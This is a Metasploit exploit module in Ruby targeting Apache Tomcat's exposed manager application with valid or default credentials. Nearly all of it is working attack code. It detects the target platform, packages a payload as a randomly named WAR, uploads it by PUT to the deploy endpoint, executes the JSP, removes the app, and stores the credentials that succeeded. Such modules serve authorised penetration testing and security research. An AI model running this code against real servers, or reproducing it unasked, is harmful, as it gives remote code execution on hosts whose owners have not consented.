##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
      'Description'    => %q{
          This module can be used to execute a payload on Apache Tomcat servers that
        have an exposed "manager" application. The payload is uploaded as a WAR archive
        containing a jsp application using a PUT request.

        The manager application can also be abused using /manager/html/upload, but that
        method is not implemented in this module.

        NOTE: The compatible payload sets vary based on the selected target. For
        example, you must select the Windows target to use native Windows payloads.
      },
      'Author'      => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          # There is no single vulnerability associated with deployment functionality.
          # Instead, the focus has been on insecure/blank/hardcoded default passwords.

          # The following references refer to HP Operations Manager
          [ 'CVE', '2009-3843' ],
          [ 'OSVDB', '60317' ],
          [ 'CVE', '2009-4189' ],
          [ 'OSVDB', '60670' ],

          # HP Operations Dashboard
          [ 'CVE', '2009-4188' ],

          # IBM Cognos Express Default user/pass
          [ 'BID', '38084' ],
          [ 'CVE', '2010-0557' ],
          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],

          # IBM Rational Quality Manager and Test Lab Manager
          [ 'CVE', '2010-4094' ],
          [ 'ZDI', '10-214' ],

          # 'admin' password is blank in default Windows installer
          [ 'CVE', '2009-3548' ],
          [ 'OSVDB', '60176' ],
          [ 'BID', '36954' ],

          # tomcat docs
          [ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
        ],
      'Platform'    => %w{ java linux win }, # others?
      'Targets'     =>
        [
          #
          # detect via /manager/serverinfo
          #
          # do target detection but java meter by default
          [ 'Automatic',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ],

          #
          # Platform specific targets only
          #
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],

          [ 'Linux x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 09 2009'))

    register_options(
      [
        OptString.new('HttpUsername', [ false, 'The username to authenticate as' ]),
        OptString.new('HttpPassword', [ false, 'The password for the specified username' ]),
        # /cognos_express/manager/ for Cognos Express (19300)
        OptString.new('PATH', [ true,  "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager'])
      ])
  end

  def check
    res = query_serverinfo
    disconnect
    return CheckCode::Unknown if res.nil?
    if (res.code.between?(400, 499))
      vprint_error("Server rejected the credentials")
      return CheckCode::Unknown
    end

    store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])

    vprint_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}")
    return CheckCode::Appears
  end

  def auto_target
    print_status("Attempting to automatically select a target...")

    res = query_serverinfo()
    return nil if not res

    plat = detect_platform(res.body)
    arch = detect_arch(res.body)

    # No arch or platform found?
    if (not arch or not plat)
      return nil
    end

    # see if we have a match
    targets.each { |t|
      if (t['Platform'] == plat) and (t['Arch'] == arch)
        return t
      end
    }

    # no matching target found
    return nil
  end


  def exploit
    mytarget = target
    if (target.name =~ /Automatic/)
      mytarget = auto_target
      if (not mytarget)
        fail_with(Failure::NoTarget, "Unable to automatically select a target")
      end
      print_status("Automatically selected target \"#{mytarget.name}\"")
    else
      print_status("Using manually select target \"#{mytarget.name}\"")
    end

    # We must regenerate the payload in case our auto-magic changed something.
    p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)

    # Generate the WAR containing the EXE containing the payload
    jsp_name = rand_text_alphanumeric(4+rand(32-4))
    app_base = rand_text_alphanumeric(4+rand(32-4))

    # Generate the WAR containing the payload
    war = p.encoded_war({
        :app_name => app_base,
        :jsp_name => jsp_name,
        :arch => mytarget.arch,
        :platform => mytarget.platform
      }).to_s

    query_str = "?path=/" + app_base

    #
    # UPLOAD
    #
    path_tmp = normalize_uri(datastore['PATH'], "deploy") + query_str
    print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
    res = send_request_cgi({
      'uri'          => path_tmp,
      'method'       => 'PUT',
      'ctype'        => 'application/octet-stream',
      'data'         => war,
    }, 20)
    if (! res)
      fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]")
    end
    if (res.code < 200 or res.code >= 300)
      case res.code
      when 401
        print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
      end
      fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
    end

    store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])

    #
    # EXECUTE
    #
    jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
    print_status("Executing #{jsp_path}...")
    res = send_request_cgi({
      'uri'          => jsp_path,
      'method'       => 'GET'
    }, 20)

    if (! res)
      print_error("Execution failed on #{app_base} [No Response]")
    elsif (res.code < 200 or res.code >= 300)
      print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
      vprint_status(res.body)
    end

    #
    # DELETE
    #
    path_tmp = normalize_uri(datastore['PATH'], "/undeploy") + query_str
    print_status("Undeploying #{app_base} ...")
    res = send_request_cgi({
      'uri'          => path_tmp,
      'method'       => 'GET'
    }, 20)
    if (! res)
      print_warning("WARNING: Undeployment failed on #{path_tmp} [No Response]")
    elsif (res.code < 200 or res.code >= 300)
      print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]")
    end

    handler
  end

  def query_serverinfo()
    path = normalize_uri(datastore['PATH'], '/serverinfo')
    res = send_request_raw(
      {
        'uri'   => path
      }, 10)

    if (not res) or (res.code != 200)
      print_error("Failed: Error requesting #{path}")
      return nil
    end

    vprint_status(res.body)

    return res
  end

  def detect_platform(body = nil)
    if not body
      res = query_serverinfo()
      return nil if not res
      body = res.body
    end

    body.each_line { |ln|
      ln.chomp!

      case ln
      when /OS Name: /
        os = ln.split(':')[1]
        case os
        when /Windows/
          return 'win'

        when /Linux/
          return 'linux'

        end
      end
    }
  end

  def detect_arch(body)
    body.each_line { |ln|
      ln.chomp!

      case ln
      when /OS Architecture: /
        ar = ln.split(':')[1].strip
        case ar
        when 'x86', 'i386', 'i686'
          return ARCH_X86

        when 'x86_64', 'amd64'
          return ARCH_X64

        end
      end
    }
  end

  def service_details
    super.merge({ access_level: 'Admin' })
  end
end
